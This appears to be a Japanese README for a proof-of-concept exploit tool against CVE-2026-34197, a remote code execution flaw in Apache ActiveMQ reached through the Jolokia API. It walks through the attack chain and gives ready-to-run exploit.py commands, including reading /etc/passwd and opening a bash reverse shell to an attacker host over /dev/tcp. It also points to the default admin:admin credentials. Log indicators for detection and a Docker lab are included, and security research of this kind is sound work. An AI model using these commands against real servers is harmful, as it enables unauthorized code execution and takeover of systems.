
# CVE-2026-34197 の概念実証エクスプロイト Jolokia API を介した Apache ActiveMQ の RCE に対する概念実証エクスプロイト。Python エクスプロイト、ペイロードテンプレート、テストおよび研究用の Docker ラボが含まれています。
CVE-2026-34197 は、Apache ActiveMQ Classic におけるリモートコード実行(RCE)の脆弱性であり、攻撃者が Web コンソールに公開された Jolokia API を介して、サーバーのオペレーティングシステム上で任意のコマンドを実行できるようにします。
この脆弱性は 13 年以上前から存在しており、Jolokia(HTTP-JMX ブリッジ)、ActiveMQ の MBean、ネットワークコネクタ、VM トランスポートなど、複数のコンポーネント間の相互作用に起因します。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-34197 |
| タイプ | RCE(リモートコード実行) |
| CWE | CWE-20(不適切な入力検証)、CWE-94(コードインジェクション) |
| 影響を受けるバージョン | ActiveMQ Classic < 5.19.4、6.0.0 — 6.2.2 |
| パッチ適用済みバージョン | 5.19.4、6.2.3 |
| 必要な認証 | あり(デフォルト認証情報 admin:admin が一般的) |
| 認証不要のバージョン | 6.0.0 — 6.1.1(CVE-2024-32114 による) |
| デフォルトポート | 8161(Web コンソール) |
攻撃チェーンは次のように機能します:
/api/jolokia/ に POST リクエストを送信し、ブローカーの MBean の addNetworkConnector オペレーションを呼び出します。vm:// トランスポートを含む URI が含まれます。brokerConfig パラメータを受け入れます。xbean: スキームは、リソースが Spring XML 設定ファイルであることを示します。Runtime.getRuntime().exec() を実行する Bean も含まれます。攻撃者 ActiveMQ(被害者)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- VM ブローカーを作成
| |-- x.xml をダウンロード
|<-- GET /x.xml --------------------|
|-- XML ペイロードで応答 ---------->|
| |-- Spring が Bean をインスタンス化
| |-- Runtime.exec(COMANDO)
| |
CVE-2026-34197/
├── README.md # このファイル
├── exploit.py # メインの PoC
├── payloads/
│ └── template.xml # Spring XML ペイロードのテンプレート
├── docker/
│ └── docker-compose.yml # 脆弱なラボ環境
└── LICENSE
requests、http.server、argparse(標準ライブラリ)pip install requests
cd docker
docker-compose up -d
これにより、脆弱な ActiveMQ Classic 5.18.6 が localhost:8161 で起動します。
# デフォルト認証情報を使用した基本的な使用方法
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id"
# 認証情報を指定する
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin
# ペイロード配信 HTTP サーバーのポートを指定する
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd"
# 認証なしモード(ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth
# リバースシェル
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1"
| パラメータ | 説明 |
|---|---|
-t, --target | ターゲットのベース URL(例: http://10.0.0.1:8161) |
-l, --lhost | XML ペイロードを配信する攻撃者の IP |
-lp, --lport | ローカル HTTP サーバーのポート(デフォルト: 8888) |
-c, --command | ターゲット上で実行するコマンド |
-u, --user | ユーザー名(デフォルト: admin) |
-p, --password | パスワード(デフォルト: admin) |
--no-auth | 認証情報を送信しない(バージョン 6.0.0 - 6.1.1 用) |
--broker-name | ブローカー名(デフォルト: localhost) |
ActiveMQ ブローカーのログに表示される指標:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
その他の指標:
addNetworkConnector を含む /api/jolokia/ への POST リクエストbrokerConfig=xbean:http を含む vm:// URI がないかブローカーのログを監視する作成者: KONDOR DEV SECURITY
この PoC は、教育およびセキュリティ研究の目的のみで提供されています。明示的な許可なくシステムに対してこのツールを使用することは違法です。作成者は、このツールの不正使用について一切の責任を負いません。
MIT — Copyright (c) 2026 KONDOR DEV SECURITY